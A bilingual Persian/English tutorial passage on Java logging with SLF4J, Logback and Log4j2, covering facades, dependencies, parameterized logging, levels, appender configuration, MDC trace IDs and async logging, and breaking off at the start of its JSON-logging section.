Libraries & Ecosystem · کتابخانه‌ها و اکوسیستم پایهBeginner ~41 دقیقه مطالعه~36 min read

لاگ‌گیری: SLF4J، Logback و Log4j2Logging: SLF4J, Logback & Log4j2

از صفر یاد می‌گیری چرا `System.out.println` کافی نیست، چطور SLF4J نقش نمای واحد را بازی می‌کند و Logback/Log4j2 پیاده‌سازی، چرا لاگ پارامتری مهم است، MDC و correlation ID چطور رد یک درخواست را می‌گیرند، لاگ ناهمگام و JSON چطور کار می‌کنند و درس امنیتی Log4Shell چه بود — با تشبیه، کد اجراشدنی و سؤالات مصاحبه.Learn from scratch why `System.out.println` isn't enough, how SLF4J acts as a single facade over Logback/Log4j2 implementations, why parameterized logging matters, how MDC and correlation IDs trace a request, how async and JSON logging work, and what the Log4Shell disaster taught us — with analogies, runnable code, and interview questions.


ساعت سه بامداد است و سرویس پرداختِ تو در محیط production از کار افتاده. کاربران خطا می‌گیرند، پول جابه‌جا نمی‌شود و تلفنت زنگ می‌خورد. تو کد را نمی‌بینی که «در حال اجرا» باشد؛ فقط می‌توانی رد پایی را که برنامه از خودش جا گذاشته دنبال کنی. آن رد پا، لاگ است.

جعبهٔ سیاهِ هواپیما

هر هواپیما یک جعبهٔ سیاه (flight recorder) دارد که مدام ارتفاع، سرعت، فرمان‌ها و صدای کابین را ثبت می‌کند. وقتی همه‌چیز درست پیش می‌رود، کسی سراغش نمی‌رود. اما وقتی سانحه‌ای رخ می‌دهد، همان جعبهٔ سیاه تنها شاهدِ ماجراست و دقیقاً می‌گوید ثانیه‌به‌ثانیه چه شد. لاگِ برنامهٔ تو همان جعبهٔ سیاه است: در روزهای خوب سکوت می‌کند، اما در بحران تنها چیزی است که بین «حدس زدن» و «فهمیدن» فرق می‌گذارد.

این فصل قلبِ عملیاتی هر سیستمِ جدی است. لاگ‌گیری در نگاه اول ساده به نظر می‌رسد — «یک خط چاپ کن» — اما پشت همین سادگی، یک اکوسیستم کامل با تصمیم‌های معماری، دام‌های امنیتی و ملاحظات کارایی خوابیده است. مثل همیشه، اول با یک تشبیه ساده مفهوم را می‌گیریم، بعد اسم فنی‌اش را یاد می‌گیریم، و بعد به کد واقعی وصلش می‌کنیم.

نقشهٔ راه این فصل
  1. چرا println کافی نیست و لاگ‌گیری اصلی چه چیزهایی به ما می‌دهد.
  2. نما در برابر پیاده‌سازی — چرا SLF4J فقط یک «قرارداد» است و Logback/Log4j2 «موتور» واقعی.
  3. تصویر وابستگی‌ها: binding، bridge و مسئلهٔ کلاسیک «چند موتور روی یک نما».
  4. لاگ پارامتری با {} و اینکه چرا الحاق رشته (+) گناهِ کبیره است.
  5. سطوح لاگ (TRACE تا ERROR) و اینکه هر کدام کِی به‌کار می‌آید.
  6. Appender، Encoder و Layout — لاگ کجا و با چه شکلی نوشته می‌شود (کانفیگ واقعی Logback و Log4j2).
  7. MDC و correlation ID — چطور رد یک درخواست را از میان هزاران خط لاگ می‌گیریم.
  8. لاگ ناهمگام: AsyncAppender در برابر Async Logger مبتنی بر LMAX Disruptor.
  9. لاگ ساختاریافته/JSON برای ماشین‌خوان کردن لاگ‌ها.
  10. درس Log4Shell (CVE-2021-44228) — چطور یک قابلیت لاگ به بزرگ‌ترین آسیب‌پذیری دهه تبدیل شد.
  11. کارایی و در انتها یک بخش کامل پرسش‌و‌پاسخ مصاحبه.

بخش صفر — چرا اصلاً لاگ می‌گیریم؟

بیایید با ساده‌ترین کارِ ممکن شروع کنیم. یک تازه‌کار برای دیباگ این را می‌نویسد:

System.out.println("user logged in: " + userId);

این کار می‌کند... تا وقتی که برنامه‌ات واقعی شود. آن‌وقت این سؤال‌ها بی‌جواب می‌مانند:

  • چه زمانی؟ این خط تایم‌استمپ ندارد. نمی‌دانی این اتفاق ساعت چند افتاد.
  • کدام thread؟ در یک سرور که هم‌زمان صدها درخواست را سرویس می‌دهد، نمی‌دانی این خط مالِ کدام درخواست است.
  • چقدر مهم؟ این یک پیام عادی است یا یک خطای فاجعه‌بار؟ println هیچ مفهومی از «شدت» ندارد.
  • کجا برود؟ همیشه روی کنسول چاپ می‌شود. نمی‌توانی بگویی «این را در فایل بنویس، آن یکی را به سیستم مانیتورینگ بفرست».
  • چطور خاموشش کنم؟ برای خاموش کردنش باید کد را عوض کنی و دوباره build و deploy کنی. در production همهٔ این پیام‌ها با هم چاپ می‌شوند و کارایی را نابود می‌کنند.
لاگ‌گیری یعنی «چاپِ کنترل‌شده»

یک کتابخانهٔ لاگ‌گیری همان println است، اما با پنج ابرقدرت: زمان‌بندی (تایم‌استمپ خودکار)، سطح‌بندی (شدت پیام)، مسیریابی (لاگ به کجا برود)، قالب‌بندی (شکل خروجی) و پیکربندی در زمان اجرا (بدون تغییر کد، فقط با یک فایل کانفیگ روشن/خاموش کن). لاگ‌گیری «چاپ کردن» نیست؛ «چاپِ قابل‌کنترل و قابل‌مدیریت» است.

حالا که فهمیدیم چرا println کافی نیست، باید تصمیم بگیریم از چه کتابخانه‌ای استفاده کنیم. و اینجاست که به مهم‌ترین ایدهٔ کل فصل می‌رسیم.


بخش یک — نما در برابر پیاده‌سازی: قلبِ ماجرا

پریز برق و آداپتور جهانی

تصور کن یک لپ‌تاپ داری و می‌خواهی آن را به هر کشوری ببری. پریزِ برقِ ایران با انگلیس و آمریکا فرق دارد. اگر شارژرِ لپ‌تاپت را مستقیم به یک پریز خاص سیم‌پیچی کنی، در کشور بعدی بی‌مصرف می‌شود. راه‌حل چیست؟ یک آداپتور جهانی. تو همیشه دوشاخه‌ات را به آداپتور می‌زنی (رابط همیشه یکسان)، و آداپتور پشتِ صحنه به هر پریزی که باشد وصل می‌شود. کدِ تو دوشاخه است، SLF4J آداپتور جهانی است، و Logback یا Log4j2 پریزِ دیوار — یعنی موتوری که واقعاً برق (لاگ) را تولید می‌کند.

این جدایی، دو مفهوم بنیادین دارد:

  • نما (facade): یک مجموعه رابط (interface) که کدِ تو فقط با آن حرف می‌زند. کدِ تو نمی‌داند و اهمیت هم نمی‌دهد که پشتِ نما چه موتوری کار می‌کند. SLF4J (سرنام Simple Logging Facade for Java) دقیقاً همین است — فقط یک قرارداد، بدونِ هیچ منطق واقعیِ نوشتنِ لاگ.
  • پیاده‌سازی (implementation): موتوری که واقعاً کار را انجام می‌دهد؛ تایم‌استمپ می‌زند، در فایل می‌نویسد، لاگ را می‌چرخاند (rotate) و... Logback و Log4j2 دو تا از این موتورها هستند.
// کدِ تو فقط با نمای SLF4J کار می‌کند — نه با Logback و نه با Log4j2
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class OrderService {
    // یک logger به‌ازای هر کلاس؛ static final چون یک بار ساخته می‌شود و تغییر نمی‌کند
    private static final Logger log = LoggerFactory.getLogger(OrderService.class);

    public void place(Order order) {
        log.info("Placing order {}", order.id());
    }
}

به این کد خوب نگاه کن. هیچ اسمی از Logback یا Log4j2 در آن نیست. اگر فردا تصمیم بگیری موتورت را از Logback به Log4j2 عوض کنی، یک خطِ import را هم لازم نیست عوض کنی — فقط dependency در Maven/Gradle را جابه‌جا می‌کنی و تمام. این همان قدرتِ نماست.

چرا این جدایی این‌قدر مهم است؟

تصور کن یک کتابخانهٔ متن‌باز می‌نویسی که هزاران پروژه از آن استفاده می‌کنند. اگر کتابخانه‌ات را مستقیم به Logback گره بزنی، هر پروژه‌ای که از Log4j2 استفاده می‌کند مجبور می‌شود دو موتورِ لاگ را با هم حمل کند. اما اگر فقط به SLF4J وابسته باشی، هر پروژه موتورِ دلخواهِ خودش را انتخاب می‌کند. به همین دلیل تقریباً همهٔ کتابخانه‌های بزرگِ جاوا (Spring، Hibernate، Kafka و...) روی SLF4J کد می‌زنند، نه روی یک موتور خاص.

دو بازیگر پیاده‌سازی را بشناسیم

  • Logback: نوشتهٔ همان کسی است که SLF4J را ساخت (Ceki Gülcü). به‌طور بومی و بدونِ هیچ آداپتوری با SLF4J کار می‌کند، برای همین سریع و کم‌دردسر است. نسخهٔ فعالِ فعلی خطِ 1.5.x است (مثلاً logback-classic 1.5.18) که به Java 11 به بالا و SLF4J نسخهٔ 2.0.1 به بالا نیاز دارد. پیش‌فرضِ Spring Boot همین است.
  • Log4j2: بازنویسیِ کاملِ Log4j قدیمی توسط بنیاد Apache. خطِ فعلی 2.24.x است. نقطهٔ قوتش کاراییِ بسیار بالا در حالتِ ناهمگام (async) با استفاده از کتابخانهٔ LMAX Disruptor است. برای بارهای بسیار سنگین اغلب انتخاب اول است.
یک لغتِ سومی هم هست: JUL و Log4j 1.x

جاوا یک سیستم لاگِ داخلی به نام java.util.logging (که کوتاه‌شده‌اش می‌شود JUL) دارد که ضعیف و کم‌استفاده است. Log4j 1.x هم نسخهٔ نسلِ اولِ Log4j بود که سال‌ها پیش به پایانِ عمر (end-of-life) رسید و دیگر نباید استفاده شود. وقتی می‌گوییم Log4j2، منظورمان کاملاً یک محصولِ دیگر و مدرن است، نه ادامهٔ همان Log4j 1.


بخش دو — تصویرِ وابستگی‌ها: binding و bridge

اینجا جایی است که خیلی‌ها گیج می‌شوند، پس آرام پیش می‌رویم. SLF4J تنها یک قرارداد است؛ خودش نمی‌تواند چیزی بنویسد. باید در زمانِ اجرا (runtime) یک موتور به آن وصل شود. به این اتصال می‌گویند binding یا provider.

قانونِ طلایی: دقیقاً یک موتور

در classpath باید دقیقاً یکی provider برای SLF4J باشد. اگر هیچ موتوری نباشد، SLF4J به حالتِ no-op می‌رود و لاگ‌ها ساکت گم می‌شوند (پیامِ NOP هشدار می‌دهد). اگر بیش از یکی باشد، SLF4J پیامِ «multiple bindings» می‌دهد و به‌صورتِ تصادفی یکی را انتخاب می‌کند. هدفِ تو همیشه این است: یک نما (SLF4J) + دقیقاً یک موتور.

برای Logback، وابستگی‌ها این‌طور هستند (خودِ logback-classic نسخهٔ سازگارِ slf4j-api را با خودش می‌آورد):

<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>2.0.17</version>
</dependency>
<dependency>
    <groupId>ch.qos.logback</groupId>
    <artifactId>logback-classic</artifactId>
    <version>1.5.18</version>
</dependency>

برای Log4j2 به‌عنوان موتورِ پشتِ SLF4J، به یک «پل» (bridge) نیاز داری که پیام‌های SLF4J را به Log4j2 برساند:

<!-- نمای SLF4J + پلِ SLF4J-به-Log4j2 + هستهٔ Log4j2 -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-slf4j2-impl</artifactId>  <!-- برای SLF4J 2.x؛ برای SLF4J 1.x باید log4j-slf4j-impl باشد -->
    <version>2.24.3</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.24.3</version>
</dependency>
دام مرگبار: پلِ اشتباه در جهتِ عکس

یک اشتباهِ خطرناک این است که هم‌زمان دو پلِ متضاد در classpath باشند: مثلاً هم log4j-to-slf4j (که Log4j2 را به SLF4J می‌فرستد) و هم log4j-slf4j2-impl (که SLF4J را به Log4j2 می‌فرستد). این یک حلقهٔ بی‌نهایت (StackOverflowError) می‌سازد چون لاگ مدام بین دو کتابخانه پاس داده می‌شود. همیشه درختِ وابستگی‌ات را با mvn dependency:tree یا gradle dependencies بررسی کن و مطمئن شو فقط یک مسیر وجود دارد.

نکتهٔ فنیِ SLF4J 2.0: از static binding به ServiceLoader

در SLF4J نسخهٔ 1.x، اتصالِ موتور از طریق یک کلاسِ ثابت به نامِ StaticLoggerBinder انجام می‌شد. از SLF4J 2.0 به بعد، این مکانیزم به ServiceLoader استاندارد جاوا تغییر کرد (رابط SLF4JServiceProvider). نتیجه: اتصالِ تمیزتر و سازگاری بهتر با ماژول‌های جاوا. اگر کد قدیمی دیدی که دنبال StaticLoggerBinder می‌گردد، بدان که مالِ دنیای 1.x است.


بخش سه — لاگ پارامتری: چرا + گناه است

حالا یکی از مهم‌ترین عادت‌های حرفه‌ای را یاد می‌گیریم. این دو خط را مقایسه کن:

// بد: رشته همیشه ساخته می‌شود، حتی اگر DEBUG خاموش باشد
log.debug("User " + user.getId() + " loaded " + orders.size() + " orders");

// خوب: با placeholder؛ رشته فقط وقتی ساخته می‌شود که DEBUG روشن باشد
log.debug("User {} loaded {} orders", user.getId(), orders.size());

چرا این تفاوت این‌قدر مهم است؟ بیایید مثل کامپایلر فکر کنیم.

آشپزی که غذا را می‌پزد ولی هیچ‌کس نمی‌خورد

فرض کن به آشپز می‌گویی: «یک بشقاب کاملِ خورشت آماده کن، بعد از من بپرس اصلاً گرسنه‌ام یا نه.» اگر گرسنه نباشم، همهٔ آن زحمت هدر رفت. لاگِ با + دقیقاً همین است: جاوا اول رشته را کامل می‌سازد (خورشت را می‌پزد)، بعد آن را به متد debug می‌دهد، و آن‌جا تازه چک می‌شود که سطح DEBUG روشن است یا نه. اگر خاموش باشد، تمامِ آن الحاق رشته و صدا زدنِ toString() هدر رفته است. اما با {}، جاوا اول می‌پرسد گرسنه‌ای؟ (سطح روشن است؟) و فقط در صورتِ بله رشته را می‌سازد.

در یک برنامهٔ واقعی که در حلقه‌ای داغ (hot loop) میلیون‌ها بار اجرا می‌شود و DEBUG در production خاموش است، این تفاوت یعنی میلیون‌ها بار ساختِ بی‌فایدهٔ رشته و فشار روی garbage collector. لاگ پارامتری این هزینه را صفر می‌کند.

سه سود لاگ پارامتری

۱. کارایی: اگر سطح خاموش باشد، هیچ رشته‌ای ساخته نمی‌شود و هیچ toString() صدا زده نمی‌شود. ۲. خوانایی: پیام و داده‌ها از هم جدا می‌مانند؛ متنِ ثابتِ لاگ همیشه یکسان است که برای جست‌وجو و گروه‌بندی عالی است. ۳. امنیت (جزئی): جداسازی متن از داده یک عادتِ خوب است — هرچند همان‌طور که در بخش Log4Shell خواهیم دید، این به‌تنهایی کافی نیست.

نکتهٔ ظریف: آخرین آرگومان اگر یک Throwable (خطا/استثنا) باشد، SLF4J آن را هوشمندانه به‌عنوانِ استثنا تشخیص می‌دهد و stack trace کامل را چاپ می‌کند — نیازی به {} برایش نیست:

try {
    processPayment(order);
} catch (PaymentException e) {
    // order.id() برای {} است؛ e آخرین آرگومان است و کل stack trace را چاپ می‌کند
    log.error("Payment failed for order {}", order.id(), e);
}
هرگز فقط `e.getMessage()` را لاگ نکن

یک اشتباهِ رایج این است: log.error("failed: " + e.getMessage()). این تنها یک خطِ کوتاه چاپ می‌کند و stack trace را دور می‌ریزد — یعنی نمی‌فهمی خطا از کدام خط آمده. همیشه خودِ شیء e را به‌عنوان آخرین آرگومان بده تا رد کاملِ خطا حفظ شود.

API روانِ SLF4J 2.0

از SLF4J نسخهٔ 2.0 به بعد یک API روان (fluent) هم اضافه شده که برای لاگِ ساختاریافته با جفتِ کلید-مقدار عالی است:

log.atInfo()
   .setMessage("Order placed")
   .addKeyValue("orderId", order.id())
   .addKeyValue("amount", order.total())
   .log();

این سبک به‌ویژه وقتی به سراغِ لاگِ JSON برویم ارزشمند می‌شود، چون هر کلید-مقدار می‌تواند مستقیم به یک فیلد در خروجیِ JSON تبدیل شود.


بخش چهار — سطوح لاگ: زبانِ شدت

هر پیام لاگ یک سطح (level) دارد که می‌گوید چقدر مهم است. سطوح یک ترتیبِ مشخص دارند، از کم‌اهمیت به پراهمیت:

سطح معنی چه زمانی استفاده کنیم
TRACE ریزترین جزئیات ردیابیِ گام‌به‌گامِ اجرا؛ معمولاً فقط هنگام دیباگِ عمیق
DEBUG اطلاعاتِ توسعه‌دهنده مقادیرِ متغیرها، مسیرِ منطق؛ در production معمولاً خاموش
INFO رویدادهای مهمِ عادی «سرور بالا آمد»، «سفارش ثبت شد»؛ رخدادهای کسب‌وکاری
WARN چیزی مشکوک است تلاشِ دوباره، منبعِ رو به اتمام؛ هنوز خطا نیست ولی باید حواست باشد
ERROR یک کار شکست خورد استثنا، شکستِ پرداخت؛ چیزی که نیاز به توجه دارد

نکتهٔ کلیدی این است: وقتی سطحِ یک logger را روی مثلاً INFO تنظیم می‌کنی، آن logger همان سطح و همهٔ سطوحِ بالاترش را چاپ می‌کند. یعنی INFO، WARN و ERROR چاپ می‌شوند، ولی DEBUG و TRACE نادیده گرفته می‌شوند. این همان چیزی است که به تو اجازه می‌دهد در توسعه پرحرف باشی و در production فقط مهم‌ها را نگه داری — بدونِ تغییرِ حتی یک خط کد.

فیلترِ صدای اعلان‌های گوشی

گوشی‌ات را در نظر بگیر. در حالتِ عادی همهٔ نوتیفیکیشن‌ها می‌آیند (مثل TRACE). موقع خواب حالتِ «مزاحم نشوید» را روی «فقط تماس‌های مهم» می‌گذاری (مثل ERROR). خودِ اپلیکیشن‌ها عوض نمی‌شوند؛ فقط آستانهٔ عبور را بالا برده‌ای. سطحِ logger هم دقیقاً همین آستانه است: هر پیامی که شدتش از آستانه کمتر باشد، فیلتر می‌شود.

تفاوتِ ریز: FATAL در Log4j2

Log4j2 یک سطحِ اضافه به نامِ FATAL (بالاتر از ERROR) و همچنین OFF/ALL دارد. اما SLF4J در API استانداردش FATAL ندارد و آن را با ERROR یکی می‌کند. چون کدِ تو با نمای SLF4J نوشته می‌شود، در عمل به پنج سطحِ TRACE تا ERROR پایبند می‌مانی و همین کافی است.


بخش پنج — Appender، Encoder و Layout: لاگ کجا و چطور می‌رود

تا اینجا فهمیدیم چه چیزی لاگ کنیم. حالا می‌پرسیم لاگ به کجا برود و به چه شکلی. سه واژهٔ کلیدی:

  • Appender (در Logback و Log4j2): «مقصد» لاگ. یک appender یعنی «روی کنسول بنویس»، دیگری یعنی «در این فایل بنویس»، سومی یعنی «به سیستم مانیتورینگ بفرست». یک logger می‌تواند به چند appender هم‌زمان وصل باشد.
  • Encoder (اصطلاحِ Logback): مسئولِ تبدیلِ یک رویدادِ لاگ به بایت‌هایی که واقعاً نوشته می‌شوند — یعنی هم قالب‌بندی (چه فیلدهایی، با چه ترتیبی) و هم سریال‌سازی. در Logback مدرن، encoder جای layout قدیمی را گرفته است.
  • Layout (اصطلاحِ Log4j2): همان مفهومِ قالب‌بندی است اما در دنیای Log4j2. مثلاً PatternLayout یا JsonTemplateLayout.
پُست، پاکت و آدرس

یک نامه (رویداد لاگ) را تصور کن. Layout/Encoder همان کاری است که با محتوای نامه می‌کنی: چطور بنویسی‌اش، با چه فونتی، چه اطلاعاتی بالای صفحه (تاریخ، فرستنده). Appender همان صندوقِ پستی است: نامه را در صندوقِ محلی می‌اندازی، یا با پیکِ سریع می‌فرستی، یا فکس می‌کنی. یک نامه را می‌توانی هم بایگانی کنی (فایل) و هم بلند بخوانی (کنسول) — این یعنی چند appender.

کانفیگ واقعی Logback (فایل logback.xml)

<configuration>
    <!-- مقصد اول: کنسول -->
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <!-- الگو: زمان، thread، سطح، نام logger، traceId از MDC، پیام -->
            <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} %X{traceId} - %msg%n</pattern>
        </encoder>
    </appender>

    <!-- مقصد دوم: فایل با چرخش (rotation) -->
    <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>logs/app.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
            <!-- هر روز یا هر ۱۰۰ مگابایت یک فایل جدید؛ فشرده با gz -->
            <fileNamePattern>logs/app-%d{yyyy-MM-dd}.%i.log.gz</fileNamePattern>
            <maxFileSize>100MB</maxFileSize>
            <maxHistory>30</maxHistory>       <!-- ۳۰ روز نگه‌داری -->
            <totalSizeCap>3GB</totalSizeCap>  <!-- سقفِ کلِ فضای اشغالی -->
        </rollingPolicy>
        <encoder>
            <pattern>%d{ISO8601} [%thread] %-5level %logger - %msg%n</pattern>
        </encoder>
    </appender>

    <!-- این پکیج را با جزئیات بیشتر (DEBUG) لاگ کن -->
    <logger name="com.example.payment" level="DEBUG"/>

    <!-- بقیهٔ برنامه فقط INFO به بالا، به هر دو مقصد -->
    <root level="INFO">
        <appender-ref ref="CONSOLE"/>
        <appender-ref ref="FILE"/>
    </root>
</configuration>
چرخشِ فایل (log rotation) اختیاری نیست

اگر لاگت را در فایل می‌نویسی و چرخش نگذاری، آن فایل تا بی‌نهایت بزرگ می‌شود و یک روز دیسکِ سرور را پُر می‌کند و کلِ سرویس را می‌خواباند. RollingFileAppender با SizeAndTimeBasedRollingPolicy این را حل می‌کند: هر روز یا با رسیدن به یک حجمِ مشخص، فایلِ جدید می‌سازد، قدیمی‌ها را فشرده می‌کند و بعد از مدتی حذف می‌کند. totalSizeCap هم سقفِ کلِ فضای مصرفی را می‌بندد.

همان کانفیگ در Log4j2 (فایل log4j2.xml)

<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} %X{traceId} - %msg%n"/>
        </Console>
        <RollingFile name="File" fileName="logs/app.log"
                     filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz">
            <PatternLayout pattern="%d{ISO8601} [%t] %-5level %logger - %msg%n"/>
            <Policies>
                <TimeBasedTriggeringPolicy/>
                <SizeBasedTriggeringPolicy size="100MB"/>
            </Policies>
            <DefaultRolloverStrategy max="30"/>
        </RollingFile>
    </Appenders>
    <Loggers>
        <Logger name="com.example.payment" level="debug"/>
        <Root level="info">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="File"/>
        </Root>
    </Loggers>
</Configuration>

به شباهتِ ساختارها دقت کن: در هر دو، مفهومِ appender، الگوی قالب‌بندی، سطحِ ریشه (root) و override برای پکیج‌های خاص وجود دارد. چون کدِ جاوایت با SLF4J نوشته شده، جابه‌جایی بین این دو فقط تعویضِ dependency و فایل کانفیگ است — نه تغییر کد.


بخش شش — MDC و correlation ID: رد یک درخواست

حالا به یکی از عملی‌ترین و پرکاربردترین ابزارها می‌رسیم. مشکل را تصور کن: سرورت هم‌زمان ۵۰۰ درخواست را سرویس می‌دهد و همه با هم در یک فایل لاگ می‌نویسند. لاگ‌ها درهم می‌شوند. حالا کاربر می‌گوید «سفارشم ثبت نشد». چطور از میان صدها هزار خطِ درهم، دقیقاً خط‌های مربوط به همان درخواست را پیدا کنی؟

شمارهٔ پیگیریِ مرسولهٔ پستی

وقتی بسته‌ای پست می‌کنی، یک شمارهٔ پیگیری یکتا می‌گیری. آن بسته در طولِ سفرش ده‌ها بار اسکن می‌شود — انبار، ماشین، مرکزِ توزیع، پیک — و هر اسکن با همان یک شمارهٔ پیگیری ثبت می‌شود. بعداً می‌توانی با آن شماره، کلِ سفرِ فقط همان بسته را بازسازی کنی، جدا از میلیون‌ها بستهٔ دیگر. correlation ID (یا trace ID) دقیقاً همان شمارهٔ پیگیری برای یک درخواست است.

ابزارِ فنی برای این کار MDC است: سرنامِ Mapped Diagnostic Context. MDC یک نقشهٔ (map) کلید-مقدار است که به thread فعلی چسبیده (thread-local). هر چیزی که در MDC بگذاری، به‌طور خودکار در هر خط لاگی که همان thread می‌نویسد قابل چاپ است — بدون اینکه لازم باشد آن را به تک‌تکِ فراخوانی‌های لاگ پاس بدهی.

الگوی عملی: در ابتدای هر درخواستِ HTTP یک ID یکتا بساز و در MDC بگذار؛ در انتها پاکش کن. با یک فیلترِ سروْلت:

import org.slf4j.MDC;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import java.util.UUID;

public class TraceIdFilter implements Filter {

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {
        // اگر سرویسِ بالادستی traceId فرستاده، همان را نگه دار (ردیابیِ زنجیره‌ای)
        String traceId = ((HttpServletRequest) req).getHeader("X-Trace-Id");
        if (traceId == null || traceId.isBlank()) {
            traceId = UUID.randomUUID().toString();
        }
        MDC.put("traceId", traceId);
        try {
            chain.doFilter(req, res); // کلِ پردازشِ درخواست زیرِ این traceId اجرا می‌شود
        } finally {
            MDC.clear(); // حیاتی: پاک کن تا traceId روی درخواستِ بعدیِ همین thread نشت نکند
        }
    }
}

حالا در الگوی لاگ، با %X{traceId} این مقدار در هر خط چاپ می‌شود. کافی است در ابزارِ جست‌وجوی لاگ (مثل Kibana/Grafana Loki) آن traceId را فیلتر کنی تا کلِ داستانِ آن درخواست جلویت باز شود.

نشتِ MDC در thread poolها یک باگِ پنهانِ کلاسیک است

سرورها thread را از یک استخر (pool) می‌گیرند و بعد از درخواست، همان thread را برای درخواستِ بعدی بازاستفاده می‌کنند. چون MDC به thread چسبیده، اگر بعد از هر درخواست پاکش نکنی، درخواستِ بعدی traceId قبلی را به ارث می‌برد و لاگ‌هایت دروغ می‌گویند. همیشه در بلوکِ finally از MDC.clear() استفاده کن. (در Spring Boot این فیلتر معمولاً آماده است، اما اصل ماجرا را باید بدانی.)

MDC به‌طور خودکار بین threadها منتقل نمی‌شود

اگر داخلِ یک درخواست کاری را به thread دیگری بسپاری (مثلاً executor.submit(...) یا @Async)، آن thread جدید MDC را به ارث نمی‌برد چون MDC thread-local است. باید دستی کپی‌اش کنی:

Map<String, String> parentContext = MDC.getCopyOfContextMap();
executor.submit(() -> {
    if (parentContext != null) MDC.setContextMap(parentContext);
    try {
        log.info("processing in worker thread"); // حالا traceId را دارد
    } finally {
        MDC.clear();
    }
});

در دنیای Log4j2، معادلِ MDC را ThreadContext می‌نامند (که هم map دارد و هم یک stack به نامِ NDC).


بخش هفت — لاگ ناهمگام: سرعت بدونِ گیر کردن

نوشتنِ لاگ در فایل یا شبکه یک عملیاتِ I/O است و I/O کُند است. مشکل اینجاست: به‌طور پیش‌فرض، وقتی کدت log.info(...) را صدا می‌زند، thread تا وقتی لاگ کاملاً روی دیسک نوشته نشود منتظر می‌ماند (synchronous). در یک سرویسِ پرترافیک، همین انتظار می‌تواند latency را بالا ببرد.

رستوران با پیشخدمت در برابر صندوقِ سفارش

دو مدل را تصور کن. مدلِ همگام (synchronous): آشپز خودش غذا را می‌برد سرِ میز، منتظر می‌ماند مشتری تشکر کند، بعد برمی‌گردد آشپزخانه. تا وقتی برنگردد، غذای بعدی پخته نمی‌شود. مدلِ ناهمگام (asynchronous): آشپز غذا را روی یک صندوقِ سفارش (queue) می‌گذارد و بلافاصله سراغِ غذای بعدی می‌رود؛ یک پیشخدمتِ جداگانه غذاها را از صندوق برمی‌دارد و می‌برد. لاگِ ناهمگام همین صندوق است: thread اصلی لاگ را در یک صف می‌گذارد و فوراً به کارش برمی‌گردد؛ یک thread پس‌زمینه آن را روی دیسک می‌نویسد.

دو رویکرد

۱) AsyncAppender در Logback — یک appender که جلوی appenderهای دیگر می‌نشیند و از یک BlockingQueue استفاده می‌کند:

<appender name="ASYNC" class="ch.qos.logback.classic.AsyncAppender">
    <queueSize>512</queueSize>            <!-- ظرفیت صف -->
    <discardingThreshold>0</discardingThreshold>  <!-- 0 = هیچ‌وقت پیامی را دور نریز -->
    <neverBlock>false</neverBlock>        <!-- true = اگر صف پُر شد، بلاک نکن و بریز دور -->
    <appender-ref ref="FILE"/>
</appender>
دام پیش‌فرضِ `AsyncAppender`: بی‌سروصدا لاگ می‌ریزد

به‌طور پیش‌فرض، وقتی صف به ۸۰٪ ظرفیتش برسد، Logback برای جلوگیری از بلاک‌شدن، پیام‌های سطحِ TRACE، DEBUG و INFO را دور می‌ریزد و فقط WARN و ERROR را نگه می‌دارد (این رفتار با discardingThreshold کنترل می‌شود). یعنی در بارِ سنگین، ممکن است لاگ‌هایت را از دست بدهی بدونِ اینکه بفهمی. اگر هیچ پیامی نباید گم شود، discardingThreshold را 0 بگذار — اما بدان که آن‌وقت در بارِ خیلی سنگین thread ممکن است بلاک شود.

۲) Async Logger در Log4j2 با LMAX Disruptor — این نقطهٔ قوتِ اصلیِ Log4j2 است. به‌جای یک صفِ معمولی با قفل، از LMAX Disruptor استفاده می‌کند: یک ساختمان‌دادهٔ حلقوی (ring buffer) و بدونِ قفل (lock-free) که برای ارتباطِ بینِ threadها با کمترین latency طراحی شده. نتیجه، throughput بسیار بالاتر و latency پایین‌تر نسبت به AsyncAppender است.

برای فعال کردنِ کاملِ آن، این system property را ست می‌کنی تا همهٔ loggerها ناهمگام شوند:

-Dlog4j2.contextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector

یا در کانفیگ، فقط loggerهای خاص را ناهمگام می‌کنی:

<Loggers>
    <AsyncLogger name="com.example" level="debug"/>
    <Root level="info">
        <AppenderRef ref="Console"/>
    </Root>
</Loggers>

نسخه‌های جدیدِ Log4j2 از LMAX Disruptor نسخهٔ 4.x پشتیبانی می‌کنند (و برای سازگاری با JRE 8، 3.x را هم نگه داشته‌اند)، و استراتژیِ انتظارِ (wait strategy) پیش‌فرض را بدونِ زباله (garbage-free) کرده‌اند تا فشار روی GC کمینه شود.

لاگِ ناهمگام رایگان نیست

لاگِ ناهمگام latency را از مسیرِ اصلی برمی‌دارد، اما دو هزینه دارد: (۱) اگر برنامه ناگهانی crash کند، ممکن است لاگ‌هایی که هنوز در صف/بافر بودند از دست بروند — درست همان لحظه‌ای که بیشترین نیاز را به آن‌ها داری. (۲) ترتیبِ دقیق و تضمینِ نوشتن پیچیده‌تر می‌شود. برای لاگ‌های حیاتیِ حسابرسی (audit) که هیچ‌کدام نباید گم شوند، لاگِ همگام یا با تضمینِ flush امن‌تر است.


بخش هشت — لاگ ساختاریافته (JSON): برای ماشین، نه فقط انسان

لاگِ متنیِ سنتی برای چشمِ انسان خوب است، اما وقتی روزانه ترابایت‌ها لاگ داری و می‌خواهی روی آن‌ها جست‌وجو، فیلتر و آلارم بگذاری، به چیزی نیاز داری که ماشین بتواند بی‌ابهام بخواندش. راه‌حل: لاگِ ساختاریافته به‌صورتِ JSON.

به‌جای این:

14:03:22.145 [http-1] INFO  OrderService abc-123 - Placing order 5567 amount 249.90

